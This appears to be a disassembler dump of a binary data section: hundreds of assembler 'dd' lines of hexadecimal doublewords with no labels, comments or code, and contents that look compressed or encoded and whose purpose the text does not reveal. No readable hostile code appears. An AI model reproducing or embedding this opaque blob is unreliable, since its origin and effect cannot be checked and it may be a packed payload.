		dd 0D0CC003Bh, 0B8F9853h, 74001843h, 5F829C1Dh,	381C05FBh
		dd 8480D889h, 4419DBEFh, 0A771FA25h, 90D0700h, 37A47A51h
		dd 429403AEh, 4982D9B8h, 3D4514D8h, 6D2439h, 6A89A760h
		dd 0AAA04h, 77845B94h, 7B1CED93h, 687AE300h, 0A05A05FCh
		dd 950C58CDh, 470B5600h, 75C83912h, 36651C05h, 0B4802E53h
		dd 3FFFF983h, 1BFD074h,	22CEF583h, 84D0D289h, 0BF0968D1h
		dd 4256A9Ch, 11805679h,	3D5748h, 470120Ch, 42461DE4h, 85803407h
		dd 4BC07EDBh, 3386EFh, 4904DE44h, 89D097A1h, 0EE7F241Ch
		dd 0EB25D240h, 90BD9014h, 234B0064h, 2BAFA967h,	0AB28E422h
		dd 6000B7BEh, 0D9A4A10Bh, 4B9F13h, 0DB333087h, 5E487845h
		dd 3B58A60Eh, 1A7EC0F3h, 0DF0417h, 0A81D3E05h, 0C5C12726h
		dd 0EC7F2800h, 518C602Bh, 44BE00BAh, 7D138D9Ch,	0B400B9C4h
		dd 0A50DF31Ch, 24BC058Fh, 9A9121h, 0B02D8908h, 0B43F1D42h
		dd 84A40010h, 1FAC1522h, 0C44D008Dh, 5C370DD4h,	83011797h
		dd 70A8F17Dh, 20F508B5h, 39E81BE0h, 4580C9B3h, 0A231400Ch
		dd 48011DC0h, 15B86459h, 74CCC461h, 71FF0003h, 95562F96h
		dd 50E1A83h, 0C0EE417Eh, 481C3D25h, 0D750F21h, 24C1C611h
		dd 0F4D9010Bh, 0C95CAC44h, 2C8400ACh, 1B0856CBh, 45261D24h
		dd 0A15C402Dh, 53218D18h, 9346E500h, 27C11606h,	53E02D3h
		dd 9EEEF5CCh, 0E41C1760h, 0A8914E00h, 0A921C801h, 233C4890h
		dd 4466EC0Eh, 3063C7E0h, 3839BBBFh, 7435805Fh, 888072F0h
		dd 944B3813h, 3CF21980h, 20C21538h, 0B3523900h,	29920BA0h
		dd 0BBD0021Ah, 0FFE05944h, 0F00BB58h, 1750368Ah, 0AC10557h
		dd 0ED9AEBE8h, 0EA490096h, 69113792h, 0FF1D1800h, 61C6777h
		dd 0C47C20h, 56213E9Dh,	0A8875D30h, 0D8F77300h,	402C197Ah
		dd 25B606C9h, 0B2940CF1h, 18BE2800h, 0B34BF31h,	407B0080h
		dd 831675DEh, 97003F70h, 8917F281h, 261D7ED0h, 13BC6Bh
		dd 7523FC4Ah, 1A03EF48h, 74013821h, 259BE847h, 2A340062h
		dd 16150E40h, 8C0028BAh, 5214B80Ah, 71F88AFh, 0A2983A45h
		dd 1CEBC044h, 18003ED2h, 13753F6Ch, 1BCF9Ch, 1FAD1548h
		dd 0E2473526h, 0A3143201h, 2826C38h, 285F0770h,	0FE2AA6h
		dd 0C438913h, 112B0836h, 0F76013Eh, 812F5059h, 21C0C28Dh
		dd 3E2DF6E4h, 9872FD18h, 7404004Fh, 347F0658h, 85008937h
		dd 752D326Eh, 753C240h,	90B7A428h, 5B002BC0h, 0D23B8398h
		dd 66FDFA0h, 1701C6E2h,	5E03F04Dh, 0FBF4C256h, 0F004704Eh
		dd 508C00EBh, 6974726Fh, 1E006EE8h, 4F432073h, 7E7970h
		dd 0DE68678Fh, 29632887h, 3931E000h, 2C743338h,	0F3F200EBh
		dd 6BC62D85h, 890A9024h, 8BE96130h, 0F60E7413h,	25BE2091h
		dd 172AC43Fh, 72E104Dh,	0A9C7D9h, 49F84AC5h, 0F0007C7Ch
		dd 0CB0ED4FFh, 8D500Fh,	0ABE8A542h, 0D75880E0h,	887839h
		dd 138B30D6h, 0C71A55h,	0E908503h, 0CB2908CAh, 4E02C100h
		dd 6C46DAF9h, 24610051h, 1A7F4145h, 2E00F568h, 1B0B7542h
		dd 2EC7C428h, 6D18C8h, 0ED5A7669h, 19732FEBh, 42876E0Bh
		dd 4C70017Ch, 1870442Ah, 1E7E762Bh, 7B8876F2h, 83E8C300h
		dd 30F909AAh, 80E10E2h,	25FC895Ah, 0FAC06FB8h, 7EC61743h
		dd 465D0004h, 19902F8Bh, 2E09D6D8h, 3F81C0Ah, 98F5F9D2h
		dd 9AEE0h, 0F0D298A3h, 0E4E3959Ah, 2757B900h, 0E83B0F92h
		dd 0F0B47320h, 0F1F80B2Eh, 5280D99Fh, 7A7FE7F4h, 0A4095Ch
		dd 6712EB23h, 0A4FB81h,	2C5B7D90h, 804BE27h, 8130E83Eh
		dd 5553500Ch, 0C7E41041h, 0A9F100A4h, 0D7EB831h, 38071F3Ah
		dd 46CE277Dh, 36335B70h, 0A70403ECh, 9820A826h,	3DC0AA8Ah
		dd 0E1000516h, 56463907h, 1F93B880h, 805282C0h,	0D192B9E2h
		dd 623C2CABh, 48150768h, 3AF72112h, 17A50A11h, 98635DECh
		dd 9002F02Dh, 34C3F5Eh,	81C14B80h, 6BF0E8EBh, 890E4200h
		dd 72295AD1h, 28E50009h, 30A02432h, 6600522Dh, 2062CD3Bh
		dd 35B9A0Ah, 82610D17h,	6A8940Eh, 8180C34h, 0A466E4EBh
		dd 3AAB0003h, 225F7612h, 480152E1h, 0A298A3Ch, 90C04A42h
		dd 51500E57h, 7DDD789h,	0B0AEF22Eh, 58D1F701h, 0CD05C1E8h
		dd 5219495Fh, 0E356AFC0h, 97700030h, 9A8CFEEAh,	3003BF2h
		dd 0E4FCBD8Bh, 0EAF93F35h, 840F0006h, 9334FDE2h, 8B3E878Ah
		dd 5C037F79h, 39FA01C2h, 0E81600CEh, 7A942CD4h,	4E000E83h
		dd 24132634h, 498F8Dh, 0C41754F5h, 6AB85F7h, 61C5D026h
		dd 42615003h, 103BA8A0h, 0E85C02F8h, 0D0BCA208h, 27AB3A60h
		dd 0E9592100h, 0EA829BBh, 0D3720058h, 5F50CE2Ch, 300FC04h
		dd 0C775DC46h, 13DF92h,	674B8BD8h, 45FAE577h, 53036300h
		dd 4A580F23h, 74870020h, 0A54F69EEh, 71F22749h,	0E900E4B8h
		dd 0E550BA3h, 547451h, 0A6506A52h, 4C8B02EDh, 7E109407h
		dd 4170B863h, 78A4AFCh,	30B05ACFh, 3B44A0C6h, 7E00149Ch
		dd 0A2ECA99Fh, 0CE01D8h, 754B54A0h, 835506E9h, 0AC91EF00h
		dd 35A884Ah, 248D0758h,	0F0E0FA94h, 257EA0B2h, 0D0398A00h
		dd 538F12C7h, 7F4A0FCBh, 6B838268h, 80FCAE8Bh, 0D02980B7h
		dd 1027705h, 4CC052C2h,	0C6769EAh, 111FC90Eh, 0A49812F2h
		dd 4B205F00h, 0C781C683h, 0DF8CDh, 0DF7C0FEEh, 22C0FD5Ah
		dd 382CA100h, 17044102h, 304C00ECh, 81100E3Ah, 0B800CEE3h
		dd 0E1941DFFh, 736006h,	0EBC00127h, 71612355h, 0D6A8CA0Fh
		dd 5A158007h, 0F887A65h, 5652EC6Bh, 0EB81D4BCh,	6242F800h
		dd 4B435878h, 21C8800h,	81B8C0EDh, 0BB3B0E7Dh, 2540962Ch
		dd 53A30786h, 1CFB8900h, 48A492DBh, 349B013h, 0E6B6D9Dh
		dd 2E0E762h, 0AFB05BCCh, 3FF89B00h, 58122D8Bh, 33E01CFCh
		dd 7C4A0026h, 7DDA391Bh, 4E291F01h, 190B82D3h, 7F9ECCh
		dd 64F48B11h, 0BE25B194h, 0D2319D00h, 0D989E507h, 13350E8Fh
		dd 5BE06C58h, 0BCC59E6Ah, 0AC854Ch, 8657152Bh, 93020h
		dd 2A7C4EFCh, 267D3D82h, 7E43400Eh, 0F129E022h,	137CF3Bh
		dd 0F9804202h, 0F08DF201h, 7F003A04h, 5294FBA4h, 0FA3FF0h
		dd 0DF2C497Ah, 40328795h, 4E317900h, 4F8B1E88h,	832600FCh
		dd 1B784A80h, 461E068Ah, 7EC0F198h, 1086D514h, 3BCB0089h
		dd 0A662F3F8h, 0C007460h, 5AEC8AA2h, 98AAFF43h,	0C7410033h
		dd 3A84F8D4h, 0CC012DEAh, 65319048h, 18D89BFFh,	23AF00FCh
		dd 6F785C83h, 81E4751Dh, 0B2E83Eh, 1C3009C2h, 13C3F0E0h
		dd 0AE3A94h, 121AC822h,	0A79FC70h, 80DC303Bh, 750C1328h
		dd 1E325994h, 9F24FAD2h, 7CF10039h, 8073E9B6h, 5076A572h
		dd 992CF700h, 96D42684h, 5D4800CAh, 1EC8A6DBh, 0F30EE629h
		dd 444208h, 5BDA8959h, 96D700E9h, 8DC31294h, 0B800AA9Ch
		dd 0EC81383Dh
		dd 4A0128h, 129FE2FEh, 4245E1CDh, 0F01D9000h, 297B2079h
		dd 3C800102h, 3175FF24h, 6AF8F8B6h, 56AE2AC3h, 0F01C911Fh
		dd 0A1BBE8h, 4D52E00Ah,	74318258h, 85E9CF00h, 2C656B01h
		dd 0D3E100B9h, 590E0832h, 50019634h, 494142C6h,	35E01858h
		dd 0DF2200D9h, 9A28590Ch, 5B003B50h, 23173D1Ah,	143589h
		dd 41BC53B0h, 1C2A73FFh, 71B1E700h, 91525117h, 5BDF004Eh
		dd 2199624Dh, 18006048h, 4C235054h, 0E8800Ch, 5A28D3D9h
		dd 117C1DA1h, 72028900h, 8A5317FCh, 22F40012h, 0AD628D85h
		dd 7C00AE61h, 983C06D1h, 29E14Eh, 1312EF20h, 0C82F1FE8h
		dd 804FB925h, 4A91EA7Ah, 0F938003Eh, 24DD7265h,	4600CB8Bh
		dd 611C35Ah, 301D097h, 980AF880h, 30A7CE0Bh, 0C1E46A8h
		dd 3F589000h, 7F62A00Dh, 7B40000Eh, 8866C80Fh, 110112B2h
		dd 93598E04h, 0A2ED6F58h, 80012A9Fh, 22460A7Fh,	1903E934h
		dd 869E84DBh, 0EB29B03Fh, 131A0078h, 2D6E0C07h,	0CA0F6A1Dh
		dd 8009A32Fh, 0FF872861h, 0C37310h, 94185036h, 152FEF3h
		dd 0D5895505h, 77C0548Bh, 32C8Eh, 8F02CB5Ch, 0B4064A59h
		dd 0A8379E00h, 3543EE1Dh, 5C3DE41Ah, 5900EF25h,	16410BF5h
		dd 0EB245DF0h, 400FB1Eh, 3F462BE8h, 8F0F4824h, 7B11F202h
		dd 6613842h, 2514F09Dh,	0E91D9100h, 209F4A44h, 30170084h
		dd 0A4E82C29h, 0C83F168Ah, 22328028h, 846113Ch,	0FA8B045Fh
		dd 0C0124B70h, 480A4315h, 0D20D7700h, 8588EB14h, 0E2B4867h
		dd 0A8B36E00h, 5F312DC2h, 7FA5800h, 50213746h, 2F5700D0h
		dd 1B3D1186h, 2B78A133h, 0A43F1C71h, 0FA5F0161h, 80F0D29h
		dd 0C6A39DCh, 0C2F8CAC0h, 72071238h, 8099B1B4h,	1418AC0h
		dd 0E77C3A8Dh, 0FC6FFB83h, 0CB818ACh, 80351F8h,	0C1290B04h
		dd 0AA83A07Eh, 92F00001h, 971EECDAh, 172C3461h,	0A007240h
		dd 7F94C80h, 6A601E9Dh,	1AF1473Dh, 5786D749h, 0D4008B55h
		dd 76BFEECh, 0E827FC0Bh, 0F9288091h, 0FAA55Dh, 9061489h
		dd 0BDE2444Fh, 0EB389000h, 2111A47Dh, 422D00C7h, 0BB188D6Ch
		dd 10008933h, 469C5B08h, 9259524h, 26ADDF8h, 4C12E980h
		dd 0F8ED994Ah, 31013F42h, 3BEB5801h, 2EDC2056h,	0C7515802h
		dd 23081900h, 21224530h, 3F435B01h, 4011350Ah, 2F13E0h
		dd 0C42E1D39h, 4D1BB0FCh, 850F1600h, 59224A14h,	0A9800EAh
		dd 9E010382h, 0F40169D8h, 0E94C72F0h, 40FA6CF8h, 0F8A1Ah
		dd 84359F7h, 61428452h,	907D2101h, 3C9CA291h, 73B2460h
		dd 8849F653h, 4D85004Bh, 0E93EEE75h, 17320A2Ah,	0F1078310h
		dd 0A6877AEBh, 54DFFB0h, 7028006Eh, 92E3668Ah, 9900454Fh
		dd 1D12020Fh, 89401h, 4C0477FFh, 1F7203FEh, 42376100h
		dd 4745EBEAh, 72F9E618h, 0C5913C34h, 11300100h,	6C027407h
		dd 3A0108E6h, 28EB2AE5h, 92402366h, 0E41A1445h,	0A420063h
		dd 0EC521694h, 37E24BAEh, 0C4479007h, 0DA50F11Ch, 74117588h
		dd 0E46100C6h, 87577C26h, 0F800672Fh, 0A5BE162Dh, 3C1DBB20h
		dd 0CD1EF922h, 552F808Eh, 6840AA0Dh, 2800BDEEh,	0FC2E9A1Ch
		dd 0EE898463h, 17AB0024h, 0EFF1087Fh, 1A2E50ADh, 8200E04Ah
		dd 9E429233h, 0B02B0028h, 2D31D866h, 23F829B3h,	3D099107h
		dd 0A3F0AE4Ch, 337BCAAh, 105650D3h, 79D87733h, 0A73F71A9h
		dd 0BD188017h, 485AD7A8h, 5B2F00F8h, 0BA535122h, 0AF00831Eh
		dd 14189D9Bh, 3FBBCE8Dh, 570055F8h, 67C78B19h, 0B0008968h
		dd 0F0E4460Fh, 8A410h, 64AB2FBFh, 40FFC2F7h, 2875ED07h
		dd 1DE0FA83h, 1812372h,	7411A365h, 4010770Eh, 0FF0B19A2h
		dd 53E02500h, 0C7701678h, 4B7C0BBCh, 0E2818B04h, 0D8C3280Dh
		dd 357DF745h, 22F13D00h, 83661890h, 2A800738h, 20527850h
		dd 0B586D681h, 3D0F9648h, 27080384h, 0C810EB05h, 7A481E15h
		dd 718A001Ah, 585A8CFBh, 0FC003A60h, 87114E73h,	7ADE69CBh
		dd 48B200EEh, 6C0E0C0Dh, 0CDF270C3h, 0F147F00h,	27757E88h
		dd 33F93C08h, 7886588Fh, 40777903h, 0BE096000h,	8A91D239h
		dd 826E2C01h, 9399004Ah, 22FF0252h, 0C1C00916h,	0DC6DA900h
		dd 4CA297h, 8A71F025h, 97D3C3Fh, 4B9511Ch, 59135EC0h, 7D83141h
		dd 73F0458Dh, 4491B1BEh, 6A0AC8B8h, 11AA2D00h, 554979E4h
		dd 5FE9Ch, 0E834DBDFh, 50BFE338h, 0FF7D5175h, 378A3600h
		dd 0BD58927Dh, 0D11F2C2Bh, 14B50113h, 0C76BE107h, 84ABCEC8h
		dd 0C9F96400h, 3712023h, 0A92D00E6h, 0FFE407E2h, 4C00EAC8h
		dd 0D62CEB66h, 0CF3AD1h, 0C22B45E8h, 0CA8D6F1Dh, 14A6C00Eh
		dd 660C6068h, 0A1DD56h,	0C96A07D6h, 36042B83h, 0AE336701h
		dd 8C77D522h, 0F48932F8h, 0F80A1303h, 20300153h, 0CC14FC0Ch
		dd 4A1C34EBh, 56407DD4h, 188A5727h, 53E50051h, 0BE5D4E69h
		dd 0B002C92Bh, 24AF9C44h, 515F409Ah, 0E8D800FDh, 6C3257BFh
		dd 50E6627h, 0A04901EFh, 0C91C5E08h, 61340078h,	0E3E851D8h
		dd 0C50C3732h, 5C4C2753h, 3AC207B1h, 0B0CDFC9Dh, 0EFD09CBBh
		dd 0D9F80200h, 0D81B3BEAh, 820D0075h, 0E932CCEDh, 3607BE33h
		dd 0A4133D59h, 305A0EEh, 162108FBh, 1C35AF19h, 0F7D5009Ah
		dd 9D221355h, 464D1000h, 589496B4h, 93CB07E6h, 0B1C3C295h
		dd 30337730h, 13004B34h, 0CC5EC034h, 1DD383D4h,	0C021F869h
		dd 157F110Ah, 630B52EBh, 80B954DEh, 0CE644CE3h,	0AB7D01B2h
		dd 9CDA655Bh, 0A622208Ch, 7069B900h, 0BEA598D1h, 0C04B0067h
		dd 6BEC8343h, 8B01D810h, 0B974490Fh, 0E8C001C1h, 0B63500CFh
		dd 4F2520Ah, 320B60B7h,	69910C4h, 0F4505Dh, 0C144D858h
		dd 0C70FF1Ah, 4006BC00h, 668FA204h, 892501D9h, 4A6B1BE2h
		dd 7078E95Ah, 49062BF4h, 0E0D948BEh, 50EE003Ah,	33999F6Ah
		dd 271D3C90h, 0C54913D3h, 32F00042h, 17AE08Ch, 0D1619D0Ah
		dd 0ECE122F2h, 1B16065Dh, 0F300BD8Ah, 7FFF8538h, 881051Ah
		dd 0C0B0077Dh, 99F72C8Eh, 0E9D63903h, 0A0AF8453h, 0EA38DCh
		dd 0D8F03432h, 0B10B4E9Bh, 0B5319100h, 281119B6h, 468A0024h
		dd 0FAC61F54h, 200002B0h, 0B77E44E8h, 7638732Ch, 2EEB0730h
		dd 69F633h, 54E86DF7h, 0DCE47D00h, 8C99DE8Ah, 3C3B00FFh
		dd 573F534Bh, 243C8333h, 58F9D08h, 31F007Fh, 0E05D8935h
		dd 8A873DBDh, 0A81D9Fh,	54FA1925h, 0D70386A0h, 55AF260Fh
		dd 43B0EF95h, 2BF04Dh, 4BFF22CFh, 0E07F6A90h, 0E40040B0h
		dd 0AD8F6712h, 1D5EEB61h, 0FEA50BFFh, 0D8FE0070h, 7924F999h
		dd 3E168837h, 0F9009354h, 56DF2A8Fh, 314300E8h,	339DFBD2h
		dd 0EB00E0C9h, 35CAA418h, 2E50ECh, 6312CE0Ah, 3BC7064Bh
		dd 0EB36AD00h, 0E955C816h, 0BFC07F4h, 0C5C2842Ch, 129BC04Fh
		dd 0B73D6144h, 80593A01h, 0B3B890Dh, 702B9042h,	50830062h
		dd 0E9E7E22h, 30FDAC5h,	815430C3h, 114F87Dh, 0A1CD2EF8h
		dd 49CC979Eh, 24F0212h,	47227C37h, 1172D4E0h, 6C004CF8h
		dd 328D16DCh, 0FC28304h, 5BC3A4F8h, 4F20FFA0h, 0BB907531h
		dd 3318958h, 0CE905A64h, 986E00C0h, 0D2E8F00Fh,	3000F840h
		dd 68F133A2h, 7A0B75AEh, 0EDF249h, 2779C889h, 60A5485h
		dd 7C84E500h, 7476543h,	4F4400B6h, 2E21FCB0h, 0D800DC81h
		dd 94E25813h, 0B431834h, 5A4904A2h, 4B102E00h, 0E007E03h
		dd 0CA895250h, 0CC43CBh, 7C5AF88Ch, 5B102558h, 95E04400h
		dd 205FEA1Ah, 0E4C40750h, 97B51C6Ah, 44288084h,	7B5881CFh
		dd 0B41000AEh
		dd 65A7529h, 953D00D4h,	377AB8C3h, 0E100B91Ch, 6B401015h
		dd 1031D52h, 4423BA0h, 0CA3D0AABh, 4F40C862h, 1A02750Ch
		dd 3E10B33Fh, 77E1E012h, 0EB4E01E7h, 220FB6C2h,	985DF88Ah
		dd 755C9D00h, 82F4EF58h, 0B0C40081h, 0F8CA035Eh, 2E01FB29h
		dd 4C68069Fh, 430F44Bh,	0EC01035Fh, 8674CFB4h, 0B8215CE8h
		dd 676C8400h, 90F43C23h, 0C0E70053h, 66972C74h,	850F3394h
		dd 405077B1h, 5455EE6Dh, 15B800F4h, 0E88C12A5h,	0E900458Fh
		dd 0A33B3D26h, 388063h,	8A0DC73h, 0FF20178h, 0EB857000h
		dd 0E6821554h, 31E10002h, 80664339h, 0F074C0Eh,	0A518EA84h
		dd 13A701A0h, 51D70A11h, 0EB35B7h, 0F39270E4h, 75002B3Ch
		dd 2AC98D26h, 368A65Dh,	6497E828h, 39C82445h, 0C705CC20h
		dd 0D0BA60B5h, 42D67A80h, 0A4FA0081h, 928F0F41h, 40008B85h
		dd 33215350h, 49C603h, 0B61C9335h, 485C13A1h, 0EDA62F00h
		dd 74F8DAB8h, 0E9670050h, 0E220A927h, 6C013109h, 0A8560C43h
		dd 4E85C203h, 807F4E3Dh, 3584C640h, 5C1A3300h, 0DA419443h
		dd 8AC200ACh, 40D837F0h, 6E00B803h, 0DC7DF52h, 0FF5F85h
		dd 0A61A2202h, 60F84A12h, 656BC800h, 76E7372h, 3233006Ch
		dd 0D35E642Eh, 47005823h, 6F4C74E8h, 7676E0Eh, 68E76150h
		dd 0D56DD04Eh, 14001241h, 0FEE0A831h, 0FA72509h, 0E3117D27h
		dd 13F64B00h, 453EC60Bh, 0F88200EEh, 5A3F68F3h,	4374E0h
		dd 25404D2Ch, 7879010Ah, 1E74620Eh, 4847409Ch, 7275C4h
		dd 423C4EA4h, 2404964Ch, 89E6E800h, 380E8D55h, 0B27FC9h
		dd 966F94D0h, 2A39DF08h, 0FADEC53Bh, 8C58BF00h,	855D4B1Ah
		dd 7668121Ch, 0EF9E00B3h, 4C430ABBh, 5E69161Dh,	0C7837ADDh
		dd 0A048ABD2h, 0E6A8C8Fh, 0CFF39405h, 77AD03C0h, 2600911Bh
		dd 14A15C4Fh, 21BD80h, 0AF220A4Dh, 0F34C7DFAh, 9E33F93Ch
		dd 8FFFEE0Ch, 403EAC9Fh, 0E52BD23h, 50030027h, 754B48AAh
		dd 4002E2Ch, 85251029h,	4860F0C5h, 4307840Ah, 0B0BD3DA3h
		dd 53AF4A51h, 247750Eh,	7FE4612Ah, 0D0FB26FDh, 0F691346h
		dd 568FF715h, 4120E240h, 6AF4F573h, 49722400h, 5380E0C6h
		dd 7466076Fh, 0C0611277h, 0A484E865h, 63DE8301h, 73E99FFFh
		dd 0BED8F8h, 0A04C971Ch, 0E0A423A5h, 3D77090Fh,	0A7528F66h
		dd 994E08h, 0A5F1FCD2h,	0A25C001Bh, 0AFB7DC14h,	51049EDAh
		dd 0B46C0AA3h, 12358480h, 6783000Bh, 54CBD722h,	1B268A49h
		dd 700F42A1h, 45BA80A9h, 346E03Ch, 0CC154BABh, 36D8D644h
		dd 5D002776h, 1B3EB50Ah, 55C5934h, 0D0143082h, 8924806Ah
		dd 0E5182802h, 0D9388485h, 0DC6000D2h, 31BBF89Ch, 0BA00592Ah
		dd 24689433h, 1391332h,	4E374521h, 0ECB7580Ah, 0A617E4F8h
		dd 760717B2h, 0C2D08891h, 662223h, 3958E7FFh, 0F6C74F75h
		dd 0C85CF900h, 0A36956A6h, 8CC030Fh, 0D2CF516Bh, 4EE8C0F5h
		dd 7A00AD4Dh, 0F7E82DC0h, 3E63993Dh, 1083D3E2h,	5503BFCh
		dd 0C4B5200h, 45422925h, 0A11F03EBh, 0C12D1B51h, 3BE48BB8h
		dd 0FC125501h, 64C90975h, 1B8EDCh, 0EAFA2DD4h, 0C24F906Eh
		dd 5E00E679h, 0DCFC7A09h, 74E37Bh, 52EEF53Dh, 7DCE0501h
		dd 0E6E22A00h, 9438BC6h, 78030967h, 0D1009BE8h,	98FB87B2h
		dd 12000AFEh, 0C2F347FFh, 0F9290Fh, 99CE3C6Fh, 0A06D3AA8h
		dd 300002F2h, 0E6950825h, 5889EE7Ch, 512463A3h,	59040003h
		dd 0F2068649h, 4B7E4300h, 0CD08273Fh, 0C377D4h,	1898F42Fh
		dd 320FBD86h, 610EC02h,	4152370Ch, 0C63049EAh, 0E8140040h
		dd 5D92DF45h, 0C3FA0F03h, 0D2478900h, 6DF83EDEh, 0EDF300BDh
		dd 56B1961Dh, 1A787EBEh, 0A678C900h, 0F16B957Dh, 33D20052h
		dd 0C8010710h, 59001404h, 0F7EB8634h, 84BF2Ch, 73A0B011h
		dd 0A1A761E8h, 1754800h, 0DEDA1949h, 4C3000E4h,	0C90C4689h
		dd 783D1006h, 0B12D00B3h, 480B7445h, 0C2203FE6h, 50E92E0Eh
		dd 8DB89E40h, 0BA00805Dh, 3BB9C155h, 0C76240h, 4F781C46h
		dd 27EBDAA0h, 0C418A31Fh, 3CCC66h, 0C011850Fh, 0A7293Ch
		dd 240E108Bh, 0A420C4D4h, 7E804200h, 0AEDEC948h, 4ED70015h
		dd 0CB510FDCh, 82005210h, 0EB484628h, 0F1D503Dh, 3CC8FFDAh
		dd 6898000h, 4007E81h, 0F98BABB3h, 8FA385h, 0BB4EFF1Fh
		dd 0E836A850h, 7400C77Bh, 32C94422h, 3C0B812Dh,	0B9807073h
		dd 39501999h, 0AD2C18F7h, 0B10E3CAAh, 8D614054h, 1A5965Ah
		dd 36FFF06Ah, 30974791h, 8B7188F3h, 936E5B3Eh, 9B004C0Bh
		dd 241D06BCh, 17F81Ah, 21B11640h, 5CC22BE2h, 64744A01h
		dd 8CEF1567h, 0EBC8C261h, 23B022h, 0B29552A4h, 6A580129h
		dd 8500F67Dh, 0CFE8F55Eh, 74B461h, 0B1B04C3Bh, 2417DB8Bh
		dd 80B76F3Bh, 153610C6h, 1E077502h, 86A722FAh, 0B0C35EE4h
		dd 24B47C00h, 44B8888Ch, 12EB0F69h, 640732E9h, 0DBA6C096h
		dd 0A4008D7Eh, 49CF9092h, 724D414h, 0EEDB108h, 4BCAC0EAh
		dd 139031E4h, 0EC181A00h, 1C149FB3h, 4CC8F520h,	7A660024h
		dd 1B16629Ah, 0F06082B5h, 90087D64h, 11F80E1Ch,	7000AAEh
		dd 0E875CDFEh, 28CA1301h, 29D05A95h, 0BA3370h, 7B53CC3Fh
		dd 1A171C59h, 20008E90h, 0B8F7AF98h, 1B76762h, 6BD877E9h
		dd 0FC9125A7h, 0A00672A9h, 0A8EA2A50h, 0A830034h, 197702FAh
		dd 0B3D4254h, 53E1038Bh, 0E8132D24h, 268949E2h,	528822Ch
		dd 80F7F648h, 0AD3FF050h, 0C064600Fh, 25788581h, 0D21AD781h
		dd 617720h, 0C5D373E3h,	428AE90Fh, 0F9801103h, 0B9048340h
		dd 0C1C4F89Ah, 33C30052h, 68B80D08h, 310146AAh,	0C29C1AB0h
		dd 8AEC0243h, 60410019h, 0DEEBBF74h, 760048FDh,	4C585216h
		dd 1DB47211h, 8004C601h, 0F340FF1Ah, 81006656h,	90135830h
		dd 0F84252h, 0FA24E7DEh, 0F70A7C88h, 0BD004973h, 0E3C9DA4Ch
		dd 9ED37Fh, 0E2FAA2F1h,	4895B105h, 42097B00h, 396D5C26h
		dd 104B0083h, 0C003CA2Bh, 7C004914h, 28A1F05h, 0E0E3C42h
		dd 0D8B119Bh, 0C0AAAB05h, 0EB0CEED5h, 2B4A0100h, 46CE8930h
		dd 79D0F359h, 5B3607BEh, 13A9FFD4h, 0CDE06237h,	0C1DC3B1h
		dd 0CFC0140Eh, 0C169D4C2h, 977F74h, 0B05A2AE4h,	203D9BFCh
		dd 2B18C700h, 120FF175h, 0BB9EE0Ah, 34FF0527h, 0ABC62C01h
		dd 70F0D122h, 49003BE2h, 10B02173h, 0A03200Ah, 7617E828h
		dd 5E8901A0h, 8156FF04h, 153B2554h, 0B8CC9469h,	0C5760066h
		dd 6F1DBAF1h, 0D400BEDDh, 0B73F07B2h, 1D12B321h, 8079E5B0h
		dd 1EC83347h, 0FC482E75h, 0BB66607Eh, 4990B8h, 0D106452Bh
		dd 0E01167Fh, 75C5A200h, 0F384F28Eh, 5F9816A4h,	58200033h
		dd 0C401DAEBh, 22EF7A00h, 27553D26h, 5B7500A8h,	0C9543F5Ah
		dd 297758D0h, 890038B0h, 0CD8AB774h, 0F4D6E577h, 0F8717707h
		dd 60BA008Eh, 0F9839D40h, 75007EEAh, 94E93821h,	2B9519Fh
		dd 2BB726A8h, 8BC05647h, 0CB000D75h, 6CD8D55Bh,	1608F10h
		dd 1AC337FFh, 0C0F83335h, 4B122894h, 5800C287h,	4A7ECB2Bh
		dd 57E20Bh, 128A71D1h, 0D4F11F5Ah, 861D5B00h, 0B8BDA0BAh
		dd 54AC007Eh, 41F0E910h, 8900DB52h, 1CE57C1Eh, 8C23Bh
		dd 6003097Dh, 98118817h, 0C3FA1503h, 90D384D5h,	0A5A27h
		dd 12C5CBE2h, 0C94ACA2Dh, 42867E00h, 69C753E9h,	36810058h
		dd 55FF518Dh, 0B9E6C17Ah, 6C009A98h, 0E2A4AA5Ah, 2E4C49A9h
		dd 2620F0h, 0C097837Bh,	0AE07F2FCh, 49D1F718h, 0ED2B5A40h
		dd 6FFC21h, 0F6123466h
		dd 0A63790D7h, 20BDAB00h, 74487CE8h, 3D700045h,	11D5145Dh
		dd 5F007F8Dh, 7AE265A0h, 392FE1Fh, 552CDB0Eh, 198052F8h
		dd 0C160C9DEh, 24B92840h, 0F4C1F16h, 1118C03Dh,	9386572Eh
		dd 201722FAh, 0DA008004h, 0F7C385C4h, 748ECD8h,	4478427Dh
		dd 0B9C0F3F9h, 31E6E0B8h, 0BED7143Bh, 1B1BFC8h,	0EE2DE8C3h
		dd 0D9C865DDh, 0A47000BDh, 0FF801501h, 0C8010A7Fh, 2A0E13Fh
		dd 42DC1C40h, 0FA840005h, 9C727708h, 500F380Ch,	400F47C3h
		dd 0C012F424h, 98960F80h, 20418C16h, 0EC19BEBCh, 0EE356B28h
		dd 96C3161Ch, 0E16FF095h, 0BA4300B7h, 4100C23h,	0E81FD4A5h
		dd 2AC0869Dh, 917484E7h, 4890B0A0h, 0E60ED0F4h,	3DBC2DB5h
		dd 5FA93180h, 28430E3h,	0C9BF0400h, 10348E1Bh, 82E00C5h
		dd 37B1A2BCh, 760083BEh, 0DE0B6B3Ah, 0E840A4h, 0C7234B41h
		dd 33E8A22h, 0C5AC6201h, 0FCAD78EBh, 17A80C0h, 1026B717h
		dd 0C044D8D7h, 6E01AC90h, 87867832h, 0B4304840h, 3F0A0357h
		dd 4BA96816h, 0CCEDA180h, 1BCE1300h, 0A05EC0C2h, 0FC140284h
		dd 59513B61h, 0C803E780h, 900019A5h, 0B46FA3B9h, 4C3A1D80h
		dd 0F400430Fh, 0CECB8F27h, 841ED058h, 0F8C09409h, 813F3978h
		dd 3DE5F65Ch, 3681B90Bh, 0A18F07D7h, 4EDFEC5Fh,	40E6700h
		dd 4FF2C9CDh, 96410062h, 0FC458122h, 3D746F7Ch,	9E006570h
		dd 0A82B70B5h, 3FC5ADh,	0D580699Dh, 49FFCFA6h, 0DE781F0Fh
		dd 14A340B6h, 7016C59Bh, 0EFB300ABh, 8CE0413Dh,	700D8E9h
		dd 93BA4810h, 1CAAA0A8h, 7FE617h, 0B616A12Bh, 6B004212h
		dd 39270155h, 770F78Dh,	30E87CE0h, 0E33CB0C9h, 520096FFh
		dd 8EE9E78Ah, 0E09D9E20h, 7EEB00FBh, 8C4351AAh,	6A00012Fh
		dd 26FC195Ch, 0E8BBD2h,	0CC1FE376h, 848F29F2h, 44008173h
